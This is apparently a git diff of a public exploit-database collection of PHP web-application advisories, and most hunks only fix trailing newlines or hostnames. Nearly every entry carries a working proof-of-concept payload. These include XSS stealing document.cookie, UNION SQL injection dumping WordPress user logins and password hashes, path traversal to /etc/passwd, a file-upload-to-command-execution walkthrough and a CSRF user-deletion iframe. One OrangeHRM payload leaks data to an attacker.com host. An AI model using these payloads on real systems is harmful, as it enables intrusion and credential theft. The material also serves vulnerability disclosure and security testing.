http://www.example.com/Shopp_v1.0.17/core/ui/behaviors/swfupload/swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert("xSS");// http://www.example.com/Shopp_v1.0.17/core/ui/behaviors/swfupload/swfupload.swf -http://www.example.com/Shopp_v1.0.17/core/model/schema.sql \ No newline at end of file +http://www.example.com/Shopp_v1.0.17/core/model/schema.sql \ No newline at end of file diff --git a/platforms/php/webapps/37935.txt b/platforms/php/webapps/37935.txt index 1dca48c97..f87e8709e 100755 --- a/platforms/php/webapps/37935.txt +++ b/platforms/php/webapps/37935.txt @@ -15,4 +15,4 @@ http://www.example.com/admin/index.php?Page=Addons&Addon=dynamiccontenttags&; Ac http://www.example.com/admin/index.php?Page=Addons&Addon=dynamiccontenttags&; Action=Edit&id=-1%27+UNION+Select+1,version%28%29,3,4--%20-[SQLi] http://www.example.com/admin/index.php?Page=Addons&Addon= -dynamiccontenttags&Action=%3E%22%3Ciframe%20src=http://www.vulnerability-lab.com%20onload=alert%28%22VL%22%29%3C/iframe%3E [XSS] \ No newline at end of file +dynamiccontenttags&Action=%3E%22%3Ciframe%20src=http://www.vulnerability-lab.com%20onload=alert%28%22VL%22%29%3C/iframe%3E [XSS] \ No newline at end of file diff --git a/platforms/php/webapps/37936.txt b/platforms/php/webapps/37936.txt index f5893602a..2c36aec85 100755 --- a/platforms/php/webapps/37936.txt +++ b/platforms/php/webapps/37936.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor Open Realty 2.5.6 is vulnerable; other versions may also be affected. -http://www.example.com/open-realty2.5.6/index.php?select_users_lang=../../../../../../../boot.ini%00 \ No newline at end of file +http://www.example.com/open-realty2.5.6/index.php?select_users_lang=../../../../../../../boot.ini%00 \ No newline at end of file diff --git a/platforms/php/webapps/37938.txt b/platforms/php/webapps/37938.txt index df82af3b5..5de964174 100755 --- a/platforms/php/webapps/37938.txt +++ b/platforms/php/webapps/37938.txt @@ -6,4 +6,4 @@ Exploiting these vulnerabilities could allow an attacker to steal cookie-based a OpenX 2.8.10 is vulnerable; other versions may also be affected. -http://www.example.com/www/admin/plugin-index.php?action=info&group=vastInlineBannerTypeHtml&parent=%22%3E%3C script%3Ealert%28document.cookie%29;%3C/script%3E [XSS] \ No newline at end of file +http://www.example.com/www/admin/plugin-index.php?action=info&group=vastInlineBannerTypeHtml&parent=%22%3E%3C script%3Ealert%28document.cookie%29;%3C/script%3E [XSS] \ No newline at end of file diff --git a/platforms/php/webapps/37939.txt b/platforms/php/webapps/37939.txt index c0b080ce5..ed968eea1 100755 --- a/platforms/php/webapps/37939.txt +++ b/platforms/php/webapps/37939.txt @@ -8,4 +8,4 @@ FileContral 1.0 is vulnerable; other versions may also be affected. http://www.example.com/Administrator/filemanager/filemanager.php?downfile=../../../../../etc/passwd http://www.example.com/Administrator/filemanager/filemanager.php?downfile=../../../../../../etc/passwd -http://www.example.com/Administrator/filemanager/filemanager.php?downfile=server dir/public_html/lists/config/config.php \ No newline at end of file +http://www.example.com/Administrator/filemanager/filemanager.php?downfile=server dir/public_html/lists/config/config.php \ No newline at end of file diff --git a/platforms/php/webapps/37940.txt b/platforms/php/webapps/37940.txt index f41117f12..a3c0b7f93 100755 --- a/platforms/php/webapps/37940.txt +++ b/platforms/php/webapps/37940.txt @@ -4,4 +4,4 @@ CommonSense CMS is prone to multiple SQL-injection vulnerabilities because it fa Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/cat2.php?id=1 [SQL Injection] \ No newline at end of file +http://www.example.com/cat2.php?id=1 [SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/37941.txt b/platforms/php/webapps/37941.txt index 3790a3bfa..f3b9deb30 100755 --- a/platforms/php/webapps/37941.txt +++ b/platforms/php/webapps/37941.txt @@ -4,4 +4,4 @@ CommonSense CMS is prone to multiple SQL-injection vulnerabilities because it fa Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. - http://www.example.com/special.php?id=1 [SQL Injection] \ No newline at end of file + http://www.example.com/special.php?id=1 [SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/37942.txt b/platforms/php/webapps/37942.txt index 574965f3f..d76ff92d3 100755 --- a/platforms/php/webapps/37942.txt +++ b/platforms/php/webapps/37942.txt @@ -4,4 +4,4 @@ CommonSense CMS is prone to multiple SQL-injection vulnerabilities because it fa Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/article.php?id=5 [SQL Injection] \ No newline at end of file +http://www.example.com/article.php?id=5 [SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/37943.txt b/platforms/php/webapps/37943.txt index 961984610..3ebf4586b 100755 --- a/platforms/php/webapps/37943.txt +++ b/platforms/php/webapps/37943.txt @@ -6,4 +6,4 @@ A remote attacker could exploit the vulnerability using directory-traversal char WebTitan Versions prior to 3.60 are vulnerable. -http://www.example.com//logs-x.php? jaction=view&fname=../../../../../etc/passwd \ No newline at end of file +http://www.example.com//logs-x.php? jaction=view&fname=../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/37944.txt b/platforms/php/webapps/37944.txt index 8e6d1ff90..f51c12414 100755 --- a/platforms/php/webapps/37944.txt +++ b/platforms/php/webapps/37944.txt @@ -8,4 +8,4 @@ vBSEO 3.8.7 is vulnerable; other versions may also be affected. http://www.example.com/forums/member.php?tab=friends&u=11411%22%3E%3Cscript%3Ewindow.location%20=%20%22http://www.internot.info/forum/%22%20%3C/script%3E -http://www.example.com/forum/member.php?u=1%22%3E%3Cscript%3Ewindow.location%20=%20%22http://www.internot.info/forum/%22%20%3C/script%3E \ No newline at end of file +http://www.example.com/forum/member.php?u=1%22%3E%3Cscript%3Ewindow.location%20=%20%22http://www.internot.info/forum/%22%20%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37945.txt b/platforms/php/webapps/37945.txt index 02735c37c..8fa2d181c 100755 --- a/platforms/php/webapps/37945.txt +++ b/platforms/php/webapps/37945.txt @@ -6,4 +6,4 @@ A successful exploit may aid in phishing attacks; other attacks are possible. SilverStripe 2.4.7 and prior are vulnerable. -http://www.example.com/index.php/Security/login?BackURL=http://example1.com \ No newline at end of file +http://www.example.com/index.php/Security/login?BackURL=http://example1.com \ No newline at end of file diff --git a/platforms/php/webapps/37946.txt b/platforms/php/webapps/37946.txt index 67fe01569..73b49b7a9 100755 --- a/platforms/php/webapps/37946.txt +++ b/platforms/php/webapps/37946.txt @@ -6,4 +6,4 @@ Exploiting these issues may allow a remote attacker to obtain sensitive informat Crayon Syntax Highlighter 1.12.1 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/crayon-syntax-highlighter/util/ajax.php?wp_load=ftp://192.168.80.201/wp-load.php \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/crayon-syntax-highlighter/util/ajax.php?wp_load=ftp://192.168.80.201/wp-load.php \ No newline at end of file diff --git a/platforms/php/webapps/37950.txt b/platforms/php/webapps/37950.txt index ccd7202e0..70dbd0938 100755 --- a/platforms/php/webapps/37950.txt +++ b/platforms/php/webapps/37950.txt @@ -6,4 +6,4 @@ An attacker may exploit these issues to steal cookie-based authentication creden jCore 1.0pre and prior versions are vulnerable. -http://www.example.com/admin/?path=%27%20onmouseover%3dalert%28document.cookie%29%20%27 \ No newline at end of file +http://www.example.com/admin/?path=%27%20onmouseover%3dalert%28document.cookie%29%20%27 \ No newline at end of file diff --git a/platforms/php/webapps/37960.txt b/platforms/php/webapps/37960.txt index 54eb994fe..26746e454 100755 --- a/platforms/php/webapps/37960.txt +++ b/platforms/php/webapps/37960.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Amateur Photographer's Image Gallery 0.9a is vulnerable; other versions may also be affected. -http://www.example.com/path_gallery/force-download.php?file=[RFD] \ No newline at end of file +http://www.example.com/path_gallery/force-download.php?file=[RFD] \ No newline at end of file diff --git a/platforms/php/webapps/37961.txt b/platforms/php/webapps/37961.txt index f90a44178..c72e29f8f 100755 --- a/platforms/php/webapps/37961.txt +++ b/platforms/php/webapps/37961.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Amateur Photographer's Image Gallery 0.9a is vulnerable; other versions may also be affected. -http://www.example.com/path_gallery/plist.php?albumid=[SQLi] \ No newline at end of file +http://www.example.com/path_gallery/plist.php?albumid=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/37962.txt b/platforms/php/webapps/37962.txt index 0567d6c28..991949495 100755 --- a/platforms/php/webapps/37962.txt +++ b/platforms/php/webapps/37962.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Amateur Photographer's Image Gallery 0.9a is vulnerable; other versions may also be affected. -http://www.example.com/path_gallery/plist.php?albumid=[XSS] \ No newline at end of file +http://www.example.com/path_gallery/plist.php?albumid=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/37963.txt b/platforms/php/webapps/37963.txt index b22134a5e..46043a348 100755 --- a/platforms/php/webapps/37963.txt +++ b/platforms/php/webapps/37963.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Amateur Photographer's Image Gallery 0.9a is vulnerable; other versions may also be affected. -http://www.example.com/path_gallery/fullscreen.php?albumid=[SQLi] \ No newline at end of file +http://www.example.com/path_gallery/fullscreen.php?albumid=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/37968.txt b/platforms/php/webapps/37968.txt index c2855d8cd..26aa92a88 100755 --- a/platforms/php/webapps/37968.txt +++ b/platforms/php/webapps/37968.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow CMS Mini 0.2.2 is vulnerable; other versions may also be affected. -http://www.example.com/view/index.php?path='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0000A3)%3C/script%3E&p=cms.guestbook&msg=Message%20sent \ No newline at end of file +http://www.example.com/view/index.php?path='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x0000A3)%3C/script%3E&p=cms.guestbook&msg=Message%20sent \ No newline at end of file diff --git a/platforms/php/webapps/37971.html b/platforms/php/webapps/37971.html index 2fab3105d..4cf19c10f 100755 --- a/platforms/php/webapps/37971.html +++ b/platforms/php/webapps/37971.html @@ -21,7 +21,7 @@ var params = "<charge-amount-notification><google-order-number>0' %YOUR INJECTIO } catch (e) { alert("Permission UniversalBrowserRead denied."); } - http.open("POST", "http://server/whmcs/modules/gateways/callback/googlecheckout.php", true); + http.open("POST", "http://site.com/whmcs/modules/gateways/callback/googlecheckout.php", true); http.onreadystatechange = handleResponse; http.send(params); function handleResponse() { diff --git a/platforms/php/webapps/37973.txt b/platforms/php/webapps/37973.txt index c5274765d..06e2e096f 100755 --- a/platforms/php/webapps/37973.txt +++ b/platforms/php/webapps/37973.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow SMF 2.0.2 is vulnerable; other versions may also be affected. -http://www.example.com/ssi_examples.php?view=[Xss] \ No newline at end of file +http://www.example.com/ssi_examples.php?view=[Xss] \ No newline at end of file diff --git a/platforms/php/webapps/37974.txt b/platforms/php/webapps/37974.txt index 65d71ab9d..ed0aceea9 100755 --- a/platforms/php/webapps/37974.txt +++ b/platforms/php/webapps/37974.txt @@ -11,4 +11,4 @@ http://www.example.com/inventory/addinventario.php?ref=555-555-0199@example.com' http://www.example.com/inventory/newtransact.php?ref=RSC-280' AND SLEEP(5) AND 'wIUB'='wIUB http://www.example.com/inventory/consulta_fact.php?fact_num=<script>alert(1)</script> http://www.example.com/inventory/newinventario.php?sn=<script>alert(100)</script> -http://www.example.com/inventory/newtransact.php?ref=<script>alert(100)</script> \ No newline at end of file +http://www.example.com/inventory/newtransact.php?ref=<script>alert(100)</script> \ No newline at end of file diff --git a/platforms/php/webapps/37978.txt b/platforms/php/webapps/37978.txt index aca09a64a..e864ce7c9 100755 --- a/platforms/php/webapps/37978.txt +++ b/platforms/php/webapps/37978.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Gramophone 0.01b1 is vulnerable; other versions may also be affected. -http://www.example.com/gramophone/index.php?rs=%3Cscript%3Ealert%281%29%3C/script%3E \ No newline at end of file +http://www.example.com/gramophone/index.php?rs=%3Cscript%3Ealert%281%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/37979.txt b/platforms/php/webapps/37979.txt index 134293b5e..92269c187 100755 --- a/platforms/php/webapps/37979.txt +++ b/platforms/php/webapps/37979.txt @@ -4,4 +4,4 @@ VicBlog is prone to multiple SQL-injection vulnerabilities because the applicati A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/domain.tld/index.php?page=posts${tag or upated_max paramater}=1[SQLi] \ No newline at end of file +http://www.example.com/domain.tld/index.php?page=posts${tag or upated_max paramater}=1[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/37991.txt b/platforms/php/webapps/37991.txt index 9beebcb95..8f21d2ead 100755 --- a/platforms/php/webapps/37991.txt +++ b/platforms/php/webapps/37991.txt @@ -10,4 +10,4 @@ http://www.example.com/WANem/index-advanced.php/"><script>alert(document.cookie) http://www.example.com/WANem/index-basic.php/"><script>alert(document.cookie);</script><p+" -http://www.example.com/WANem/status.php?interfaceList="><script>alert(document.cookie);</script><p+" \ No newline at end of file +http://www.example.com/WANem/status.php?interfaceList="><script>alert(document.cookie);</script><p+" \ No newline at end of file diff --git a/platforms/php/webapps/37992.txt b/platforms/php/webapps/37992.txt index e46c12551..0a534f5a9 100755 --- a/platforms/php/webapps/37992.txt +++ b/platforms/php/webapps/37992.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow CorePlayer 4.0.6 is vulnerable; other versions may also be affected. -http://www.example.com/core_player.swf?callback=alert(document.cookie) \ No newline at end of file +http://www.example.com/core_player.swf?callback=alert(document.cookie) \ No newline at end of file diff --git a/platforms/php/webapps/37993.txt b/platforms/php/webapps/37993.txt index 32b035975..31356f471 100755 --- a/platforms/php/webapps/37993.txt +++ b/platforms/php/webapps/37993.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br http://www.example.com/index.php?option=com_quiz&task=user_tst_shw&Itemid={RANDOM}&tid={RANDOM}/**/and/**/1=0/**/union/**/select/**/1,0x3c7363726970743e616c65727428646f63756d656e742e636f6f6b6965293c2f7363726970743e,concat(username,0x3D,password)/**/from/**/jos_users+--+ -http://www.example.com/index.php?option=com_quiz&task=user_tst_shw&Itemid={RANDOM}&tid={RANDOM}/**/and/**/1=0/**/union/**/select/**/1,0x3c7363726970743e616c65727428646f63756d656e742e636f6f6b6965293c2f7363726970743e,0x3c7363726970743e616c65727428646f63756d656e742e636f6f6b6965293c2f7363726970743e+--+ \ No newline at end of file +http://www.example.com/index.php?option=com_quiz&task=user_tst_shw&Itemid={RANDOM}&tid={RANDOM}/**/and/**/1=0/**/union/**/select/**/1,0x3c7363726970743e616c65727428646f63756d656e742e636f6f6b6965293c2f7363726970743e,0x3c7363726970743e616c65727428646f63756d656e742e636f6f6b6965293c2f7363726970743e+--+ \ No newline at end of file diff --git a/platforms/php/webapps/37994.txt b/platforms/php/webapps/37994.txt index abca73378..90b0d0fa4 100755 --- a/platforms/php/webapps/37994.txt +++ b/platforms/php/webapps/37994.txt @@ -8,4 +8,4 @@ NetCat CMS 5.0.1 is vulnerable; other versions may also be affected. http://www.example.com/?ââ?¬â?¢ onmouseover=ââ?¬â?¢prompt(document.cookie)ââ?¬â?¢bad=ââ?¬â?¢> -http://www.example.com/search/?search_query=ââ?¬â?¢ onmouseover=prompt(document.cookie) bad=ââ?¬â?¢ \ No newline at end of file +http://www.example.com/search/?search_query=ââ?¬â?¢ onmouseover=prompt(document.cookie) bad=ââ?¬â?¢ \ No newline at end of file diff --git a/platforms/php/webapps/38000.txt b/platforms/php/webapps/38000.txt index 7e5677d39..6378ec8b2 100755 --- a/platforms/php/webapps/38000.txt +++ b/platforms/php/webapps/38000.txt @@ -22,7 +22,7 @@ an Arbitrary File Upload To perform Command Execution Vulnerable URL -http://targetserver/wolfcms/?/admin/plugin/file_manager/browse/ +http://targetsite.com/wolfcms/?/admin/plugin/file_manager/browse/ Vulnerable Parameter @@ -34,13 +34,13 @@ Vulnerable Parameter A)Login as regular user ( who have access upload functionality ) B)Go to this page - -http://targetserver/wolfcms/?/admin/plugin/file_manager/browse/ +http://targetsite.com/wolfcms/?/admin/plugin/file_manager/browse/ C)Select upload an file option to upload Arbitary File ( filename ex: "hello.php" ) D)Now you can access the file by here - -http://targetserver/wolfcms/public/hello.php +http://targetsite.com/wolfcms/public/hello.php 3. Solution: diff --git a/platforms/php/webapps/38006.txt b/platforms/php/webapps/38006.txt index a6bae99d1..4b7a4fa58 100755 --- a/platforms/php/webapps/38006.txt +++ b/platforms/php/webapps/38006.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br bloofoxCMS 0.3.5 is vulnerable; other versions may also be affected. http://www.example.com/index.php?'"--><script>alert(0x0004B3)</script> -http://www.example.com/index.php?search='"--><script>alert(0x0004B3)</script> \ No newline at end of file +http://www.example.com/index.php?search='"--><script>alert(0x0004B3)</script> \ No newline at end of file diff --git a/platforms/php/webapps/38007.txt b/platforms/php/webapps/38007.txt index 816f07224..b25bd5e5f 100755 --- a/platforms/php/webapps/38007.txt +++ b/platforms/php/webapps/38007.txt @@ -5,4 +5,4 @@ DCForum is prone to multiple information-disclosure vulnerabilities. Exploiting these issues may allow an attacker to obtain sensitive information that may aid in further attacks. http://www.example.com/cgi-bin/User_info/auth_user_file.txt -http://www.example.com/cgi-bin/dcforum/User_info/auth_user_file.txt \ No newline at end of file +http://www.example.com/cgi-bin/dcforum/User_info/auth_user_file.txt \ No newline at end of file diff --git a/platforms/php/webapps/38008.txt b/platforms/php/webapps/38008.txt index 9c3ad0cac..4422dd750 100755 --- a/platforms/php/webapps/38008.txt +++ b/platforms/php/webapps/38008.txt @@ -4,4 +4,4 @@ The Parcoauto component for Joomla! is prone to an SQL-injection vulnerability b Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_parcoauto&action=scheda&idVeicolo=2658810 \ No newline at end of file +http://www.example.com/index.php?option=com_parcoauto&action=scheda&idVeicolo=2658810 \ No newline at end of file diff --git a/platforms/php/webapps/38009.txt b/platforms/php/webapps/38009.txt index 7dd1d6472..1512986e2 100755 --- a/platforms/php/webapps/38009.txt +++ b/platforms/php/webapps/38009.txt @@ -10,4 +10,4 @@ Exploiting these issues could allow an attacker to execute arbitrary script code AWAuctionScript 1.0 is vulnerable; other version may also be affected. -http://www.example.com/listing.php?category=Website&PageNo=-1'[SQL-Injection Vulnerability!] \ No newline at end of file +http://www.example.com/listing.php?category=Website&PageNo=-1'[SQL-Injection Vulnerability!] \ No newline at end of file diff --git a/platforms/php/webapps/38010.txt b/platforms/php/webapps/38010.txt index 238b90c32..be15bb5d8 100755 --- a/platforms/php/webapps/38010.txt +++ b/platforms/php/webapps/38010.txt @@ -7,4 +7,4 @@ A successful exploit may allow an attacker to compromise the application, access VeriCentre versions prior to 2.2 build 36 are vulnerable. http://www.example.com/WebConsole/terminal/paramedit.aspx?TerminalId=%27%2bconvert%28int,@ -@version%29%2b%27&ModelName=xxxx&ApplicationName=xxxx&ClusterId= \ No newline at end of file +@version%29%2b%27&ModelName=xxxx&ApplicationName=xxxx&ClusterId= \ No newline at end of file diff --git a/platforms/php/webapps/38011.txt b/platforms/php/webapps/38011.txt index ca3948c03..fa59f6093 100755 --- a/platforms/php/webapps/38011.txt +++ b/platforms/php/webapps/38011.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc OrangeHRM 2.7.1-rc.1 is vulnerable; other versions may also be affected. -http://www.example.com/symfony/web/index.php/admin/viewCustomers?sortOrder=ASC&sortField=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHA R(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114 )))) \ No newline at end of file +http://www.example.com/symfony/web/index.php/admin/viewCustomers?sortOrder=ASC&sortField=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHA R(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114 )))) \ No newline at end of file diff --git a/platforms/php/webapps/38012.txt b/platforms/php/webapps/38012.txt index e7393efc3..658566f18 100755 --- a/platforms/php/webapps/38012.txt +++ b/platforms/php/webapps/38012.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to compromise the application, access or modi FLV Player 1.1 is vulnerable; other versions may also be affected. -http://www.example.com/wp-content/plugins/hitasoft_player/config.php?id=1%20union%20all%20select%201,2,3,4,5,6,7,8,user_login,10,11,12,13,14,15,16,17 from wp_users-- \ No newline at end of file +http://www.example.com/wp-content/plugins/hitasoft_player/config.php?id=1%20union%20all%20select%201,2,3,4,5,6,7,8,user_login,10,11,12,13,14,15,16,17 from wp_users-- \ No newline at end of file diff --git a/platforms/php/webapps/38018.txt b/platforms/php/webapps/38018.txt index bbf7feef2..6d9b0c991 100755 --- a/platforms/php/webapps/38018.txt +++ b/platforms/php/webapps/38018.txt @@ -4,4 +4,4 @@ The PHP Event Calendar plugin for WordPress is prone to an SQL-injection vulnera An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/wp-content/plugins/Calendar-Script/load-events.php?cid=1[SQL] \ No newline at end of file +http://www.example.com/wp-content/plugins/Calendar-Script/load-events.php?cid=1[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/38019.txt b/platforms/php/webapps/38019.txt index fc4163694..2ed7fd41e 100755 --- a/platforms/php/webapps/38019.txt +++ b/platforms/php/webapps/38019.txt @@ -4,4 +4,4 @@ The Eco-annu plugin for WordPress is prone to an SQL-injection vulnerability bec An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/wp-content/plugins/eco-annu/map.php?eid=[SQL] \ No newline at end of file +http://www.example.com/wp-content/plugins/eco-annu/map.php?eid=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/38022.txt b/platforms/php/webapps/38022.txt index 9df838628..ad782b81e 100755 --- a/platforms/php/webapps/38022.txt +++ b/platforms/php/webapps/38022.txt @@ -4,4 +4,4 @@ The Dailyedition-mouss theme for WordPress is prone to an SQL-injection vulnerab An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/wp-content/themes/dailyedition-mouss/fiche-disque.php?id=-78+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat%28user_login,user_pass%29,14,15,16,17,18,19,20+from+wp_users-- \ No newline at end of file +http://www.example.com/wp-content/themes/dailyedition-mouss/fiche-disque.php?id=-78+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat%28user_login,user_pass%29,14,15,16,17,18,19,20+from+wp_users-- \ No newline at end of file diff --git a/platforms/php/webapps/38023.txt b/platforms/php/webapps/38023.txt index 3d11d12f3..4e4191908 100755 --- a/platforms/php/webapps/38023.txt +++ b/platforms/php/webapps/38023.txt @@ -4,4 +4,4 @@ The Tagged Albums plugin for WordPress is prone to an SQL-injection vulnerabilit An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/wp-content/plugins/taggedalbums/image.php?id=[sql] \ No newline at end of file +http://www.example.com/wp-content/plugins/taggedalbums/image.php?id=[sql] \ No newline at end of file diff --git a/platforms/php/webapps/38024.txt b/platforms/php/webapps/38024.txt index aeae2ff6c..5df34c3b8 100755 --- a/platforms/php/webapps/38024.txt +++ b/platforms/php/webapps/38024.txt @@ -14,4 +14,4 @@ document.write("<text>Welcome "+ foo + "</text>"); Example URI: -http://www.domain.com/test.jsp?foo=2"; alert(document.cookie); var a="1 \ No newline at end of file +http://www.domain.com/test.jsp?foo=2"; alert(document.cookie); var a="1 \ No newline at end of file diff --git a/platforms/php/webapps/38025.txt b/platforms/php/webapps/38025.txt index 28f77f173..5ee896c9f 100755 --- a/platforms/php/webapps/38025.txt +++ b/platforms/php/webapps/38025.txt @@ -8,4 +8,4 @@ Versions Omni-Secure 5, 6 and 7 are vulnerable. http://www.example.co/mpath/lib/browsefiles.php?dir=/ -http://www.example.co/mpath/lib/browsefolders.php?dir=/ \ No newline at end of file +http://www.example.co/mpath/lib/browsefolders.php?dir=/ \ No newline at end of file diff --git a/platforms/php/webapps/38026.txt b/platforms/php/webapps/38026.txt index 0e324a2ff..c91eff35c 100755 --- a/platforms/php/webapps/38026.txt +++ b/platforms/php/webapps/38026.txt @@ -4,4 +4,4 @@ Friends in War The FAQ Manager is prone to an SQL-injection vulnerability becaus A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/[path]/view_faq.php?question=-4+AND+1=2+UNION+SELECT+0,1,2,version%28%29,4,5-- \ No newline at end of file +http://www.example.com/[path]/view_faq.php?question=-4+AND+1=2+UNION+SELECT+0,1,2,version%28%29,4,5-- \ No newline at end of file diff --git a/platforms/php/webapps/38039.txt b/platforms/php/webapps/38039.txt index 96a4df9d7..56b7ee0da 100755 --- a/platforms/php/webapps/38039.txt +++ b/platforms/php/webapps/38039.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor openSIS 5.1 is vulnerable; other versions may also be affected. -http://www.example.com/opensis5.1/opensis/ajax.php?modname=misc/../../../../../../../../../../../../../etc/passwd&bypass=Transcripts.php \ No newline at end of file +http://www.example.com/opensis5.1/opensis/ajax.php?modname=misc/../../../../../../../../../../../../../etc/passwd&bypass=Transcripts.php \ No newline at end of file diff --git a/platforms/php/webapps/38040.txt b/platforms/php/webapps/38040.txt index ce32f6338..76bc88f1e 100755 --- a/platforms/php/webapps/38040.txt +++ b/platforms/php/webapps/38040.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to view files and execute local scrip ATutor 2.1 is vulnerable; other versions may also be affected. -http://www.example.com/ATutor-2.1/ATutor/mods/_core/tool_manager/index.php?h=1&tool_file=./../../../../../../../../../../etc/passwd \ No newline at end of file +http://www.example.com/ATutor-2.1/ATutor/mods/_core/tool_manager/index.php?h=1&tool_file=./../../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/38041.txt b/platforms/php/webapps/38041.txt index b19ea69b0..f0fb73538 100755 --- a/platforms/php/webapps/38041.txt +++ b/platforms/php/webapps/38041.txt @@ -4,4 +4,4 @@ The Madebymilk theme for WordPress is prone to an SQL-injection vulnerability be An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -https://www.example.com/wp-content/plugins/madebymilk/voting-popup.php?id=null' \ No newline at end of file +https://www.example.com/wp-content/plugins/madebymilk/voting-popup.php?id=null' \ No newline at end of file diff --git a/platforms/php/webapps/38045.html b/platforms/php/webapps/38045.html index a05f7a917..1d8fc77d0 100755 --- a/platforms/php/webapps/38045.html +++ b/platforms/php/webapps/38045.html @@ -9,4 +9,4 @@ XiVO 12.22 is vulnerable; other versions may also be affected. <html><head><body> <title>Deleter user ID 2</title> <iframe src=https://www.example.com/xivo/configuration/index.php/manage/user/?act=delete&id=2&page=1'); -</body></head><html> \ No newline at end of file +</body></head><html> \ No newline at end of file diff --git a/platforms/php/webapps/38046.txt b/platforms/php/webapps/38046.txt index 04c1c6cb1..90f0ff193 100755 --- a/platforms/php/webapps/38046.txt +++ b/platforms/php/webapps/38046.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to upload arbitrary files to the affected co Zingiri Web Shop 2.5.0 is vulnerable; other versions may also be affected. -http://www.example.com/wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php?path=[path] \ No newline at end of file +http://www.example.com/wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php?path=[path] \ No newline at end of file diff --git a/platforms/php/webapps/38047.txt b/platforms/php/webapps/38047.txt index a9d5cb93b..4fcf6575e 100755 --- a/platforms/php/webapps/38047.txt +++ b/platforms/php/webapps/38047.txt @@ -4,4 +4,4 @@ The Webplayer plugin is prone to an SQL-injection vulnerability because it fails An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/wp-content/plugins/webplayer/config.php?id=[SQL] \ No newline at end of file +http://www.example.com/wp-content/plugins/webplayer/config.php?id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/38048.txt b/platforms/php/webapps/38048.txt index 639d3456f..d7d061a53 100755 --- a/platforms/php/webapps/38048.txt +++ b/platforms/php/webapps/38048.txt @@ -4,4 +4,4 @@ The Plg Novana plugin is prone to an SQL-injection vulnerability because it fail An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/wp-content/plugins/plg_novana/novana_detail.php?lightbox[width]=700&lightbox[height]=400&id=[sql] \ No newline at end of file 